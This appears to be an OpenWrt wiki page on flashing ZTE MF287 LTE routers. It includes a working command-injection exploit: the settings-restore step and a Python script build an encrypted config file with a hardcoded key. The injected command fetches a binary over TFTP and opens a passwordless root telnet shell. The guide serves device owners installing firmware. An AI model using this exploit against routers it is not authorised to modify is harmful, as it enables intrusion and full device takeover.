ZTE MF287
The ZTE MF287 series is a range of LTE routers by ZTE made for the network operator “3”. The devices share a lot of features and functionalities with other ZTE devices, like the MF286, MF289 or MF282 series.
There are three known variants:
- ZTE MF287
- ZTE MF287+
- ZTE MF287Pro
The MF287 and MF287+ have a very similar board but feature a different LTE module while the ZTE MF287Pro has a completely different mainboard and again a different modem.
Supported Versions
Hardware Highlights
Installation
Option 1: Install from OEM firmware
You need an exploit to get access to the stock firmware. Prepare the following:
Required files
- Static build of busybox for ARM, e.g. from https://busybox.net/downloads/binaries/1.21.1/ (Pick ARMV7 version)
- exploit.dat from https://cloud.aboehler.at/index.php/s/GDixspLf4jgg8pT. Please use the password
nzjmaBARoM
- OpenWrt factory image - this is not listed in the table above. Please download it from https://firmware-selector.openwrt.org
Then do the following preparatory steps:
- Set up a TFTP server - tftpd-hpa on Linux is tested, but tftpd32 should work as well
- Rename busybox to “telnetd” and put it to your TFTP root directory
- Put the OpenWrt factory.bin file to your TFTP directory as zte.bin
- Assign your computer the IP address 192.168.0.22
Now you can actually exploit the web interface and get access via Telnet.
- Log in to the web interface of your router, go to settings restore and use the file “exploit.dat” as the file to restore. Accept the message that the router is going to be restarted - don't worry, it won't restart.
- Watch your TFTP server serving the file “telnetd”
- Use a Telnet client and connect to 192.168.0.1 on port 10023
- You should be logged in immediately, no password required
- Execute the following commands to take a backup and to install OpenWrt (NB: Instead of using tftp, you should also be able to use
scp
from the router):
For the MF287 and MF287+, you need to replace mtdXX
with mtd13
and mtdblockXX
with mtdblock13
!
For the MF287Pro, you need to replace mtdXX
with mtd17
and mtdblockXX
with mtdblock17
!
Please double-check the partition number by running cat /proc/mtd
and looking for the line named rootfs
. Use this mtd number.
Please double-check that you flash the correct file. The factory image is not part of the table above, but it can be downloaded from the Firmware Selector.
cd /tmp cat /dev/ubi0_0 > /tmp/ubi0_0 cat /dev/ubi0_1 > /tmp/ubi0_1 tftp -p -l /tmp/ubi0_0 -r ubi0_0 192.168.0.22 tftp -p -l /tmp/ubi0_1 -r ubi0_1 192.168.0.22 rm /tmp/ubi0* tftp -g -r zte.bin 192.168.0.22 cat /proc/driver/sensor_id flash_erase /dev/mtdXX 0 0 dd if=zte.bin of=/dev/mtdblockXX bs=131072 reboot
After the Reboot, OpenWrt is installed!
Option 2: Install via serial console
This method requires disassembly and serial access. The following pictures and instructions detail this process:
- Remove the battery cover and unscrew four screws at the bottom
- Remove the four white rubber covers on the back and remove the screws
- Pry open the back cover (where all the LAN ports are)
- Remove four screws; two can be seen on the top, two are at the bottom. Once they are removed, you can slide-out the main board
- Remove two more screws holding the antenna at the back in place
- Beneath the antenna, the UART pins can be found
- Connect serial console with 115200 8N1 and start a terminal program
Restore stock
You need the two files ubi0_0 and ubi0_1 you downloaded during the installation of OpenWrt. If you are already running OpenWrt, you need to flash an initramfs version first - for this, simply install the -recovery.bin version using sysupgrade as usual.
Once rebooted, transfer the files ubi0_0 and ubi0_1 to your router to /tmp. Then, run the following commands to restore back to stock - the “ls” command is used to get the sizes of kernel and rootfs. Replace $kernel_length
by the value you got for ubi0_0 and $rootfs_size
by the value you got for ubi0_1.
Please double-check the partition number by running cat /proc/mtd
and looking for the line named rootfs
. Use this mtd number. For the MF287Pro, this should be ubiattach -m 14
with ubiattach -m 17
.
ls -l /tmp/ubi0* ubiattach -m 14 ubirmvol /dev/ubi0 -N kernel ubirmvol /dev/ubi0 -N rootfs ubirmvol /dev/ubi0 -N rootfs_data ubimkvol /dev/ubi0 -N kernel -s $kernel_length ubimkvol /dev/ubi0 -N ubi_rootfs -s $rootfs_size ubiupdatevol /dev/ubi0_0 /tmp/ubi0_0 ubiupdatevol /dev/ubi0_1 /tmp/ubi0_1 reboot
The system should reboot into the stock firmware.
Exploit in detail
The settings file of the MF287+ is obfuscated and encrypted. Fortunately, the algorithm isn't very complicated and could be easily decompiled using Ghidra. The following Python script creates the “exploit.dat” file as linked to above:
#!/usr/bin/env python import os import sys import subprocess import tempfile import struct import shutil import hashlib class TelnetEnabler(object): def __init__(self, filepath, directory): self.openssl = None self.filepath = filepath self.directory = directory self.check_openssl() def decrypt_file(self): if os.path.exists(self.filepath): print(f"Output file already exists: {self.filepath}") return False exploit = ";zte_debug.sh 192.168.0.22 telnetd; /tmp/telnetd -l /bin/sh -p 10023; sleep 3600\n" out = bytearray() for char in exploit: if char != '\n' or char != '\t' or char != '\0': out.append(ord(char) ^ 0x1f) else: out.append(ord(char)) fp = open(self.directory + os.path.sep + "decrypted.txt", "wb") fp.write(out) fp.close() ret = subprocess.run([self.openssl, "enc", "-aes-128-cbc", "-out", self.filepath, "-in", self.directory + os.path.sep + "decrypted.txt", "-pass", "pass:DA69C84B145A11040DBF6363C136DC71", "-md", "md5"]) if ret.returncode != 0: print("Error encrypting file") return False def which(self, program): def is_exe(fpath): return os.path.isfile(fpath) and os.access(fpath, os.X_OK) fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): path = path.strip('"') exe_file = os.path.join(path, program) if is_exe(exe_file): return exe_file return None def check_openssl(self): self.openssl = self.which("openssl") if self.openssl: ret = subprocess.run([self.openssl, "version"], stdout = subprocess.PIPE, universal_newlines = True) if ret.returncode == 0: version = ret.stdout.replace('\n', '') return version return False if len(sys.argv) < 2: print("Usage: exploit.py configure.bin") sys.exit(1) with tempfile.TemporaryDirectory() as tempdir: enabler = TelnetEnabler(sys.argv[1], tempdir) enabler.decrypt_file()
Hardware
Info